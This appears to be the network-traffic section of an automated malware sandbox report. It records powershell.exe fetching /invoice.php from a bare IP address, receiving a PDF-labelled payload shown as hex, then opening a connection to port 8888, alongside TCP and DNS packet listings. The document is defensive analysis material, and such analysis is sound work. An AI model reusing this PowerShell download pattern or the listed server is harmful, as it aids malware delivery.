Jan 11, 2025 05:45:11.146716118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146760941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176019907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176057100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176069021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176150084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176224947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176280975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176290035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176301003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176350117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176448107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176459074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176470041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176481009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176502943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176541090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176637888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176647902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176698923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176718950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176729918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176740885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176776886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176853895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176863909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176876068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176884890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.176913977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.176939964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.195360899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195477962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.195554972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195565939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195576906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195589066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195616961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.195642948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.195645094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195656061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195666075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195703983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.195806026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195816994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195827961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195858955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.195883036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.195950031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195966959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195977926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.195986986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.196034908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.196058989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.229222059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229248047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229259014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229324102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.229343891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229392052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.229418039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229429960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229439974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229475975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.229738951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229784012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229784966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.229794025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229830980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229836941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.229927063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229938030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229949951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.229974031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.229999065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230070114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230081081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230089903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230137110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230176926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230186939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230199099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230209112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230222940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230443954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230454922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230465889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230477095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230484962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230485916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230489969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230499983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230510950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230514050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230550051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230576038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230674028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230751038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230762959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230772972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230782986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.230792999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.230844975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231105089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231116056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231126070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231136084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231146097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231157064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231157064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231167078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231175900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231178045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231187105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231199026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231201887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231219053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231230021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231234074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231240988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231257915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231281996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231753111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231765032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231775045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231786013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231798887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231810093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231821060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231822014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231833935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231844902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231854916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231856108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231864929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231875896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231875896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231888056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231892109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231898069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231909990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231914997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231920958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231933117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.231959105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.231977940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232208967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232738018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232749939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232759953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232770920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232781887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232791901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232798100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232803106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232814074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232817888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232830048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232840061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232844114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232856035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232867002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232871056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232878923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232887983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232891083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232902050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232908010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232913971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232927084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232927084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232939959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.232944012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.232976913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.233495951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.233508110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.233519077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.233530045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.233541012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.233546019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.233551025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.233565092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.233591080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.270601034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270627975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270639896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270677090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.270714998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.270764112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270775080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270787001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270821095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.270893097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270904064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270915031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.270947933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.270972013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.271024942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.271083117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.271095037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.271105051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.271115065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.271128893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.271162987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.282260895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282296896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282306910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282340050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.282366991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.282454014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282464027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282476902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282486916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282514095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.282538891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.282614946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282625914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282633066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282644033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282687902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.282855034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282866001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282876968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.282910109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.308382988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.311892986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316068888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316095114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316104889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316162109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316200018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316215038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316227913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316237926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316277981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316322088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316333055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316365957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316628933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316670895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316678047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316683054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316726923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316859007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316879988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316891909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316903114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.316921949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316950083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.316953897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.364397049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.395783901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.475383997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:12.469399929 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:12.474328995 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:12.474400043 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:12.474833012 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:12.479657888 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:13.245224953 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:13.286379099 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:13.675993919 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:45:25.429866076 CET	50366	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:45:41.907550097 CET	52714	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:45:25.429866076 CET	192.168.2.4	1.1.1.1	0xb46e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:45:41.907550097 CET	192.168.2.4	1.1.1.1	0xd1e0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:45:25.436552048 CET	1.1.1.1	192.168.2.4	0xb46e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:45:41.915400982 CET	1.1.1.1	192.168.2.4	0xd1e0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7396	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:45:09.716752052 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:45:10.483269930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:45:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:45:10.483287096 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:45:10.483298063 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:45:10.483382940 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
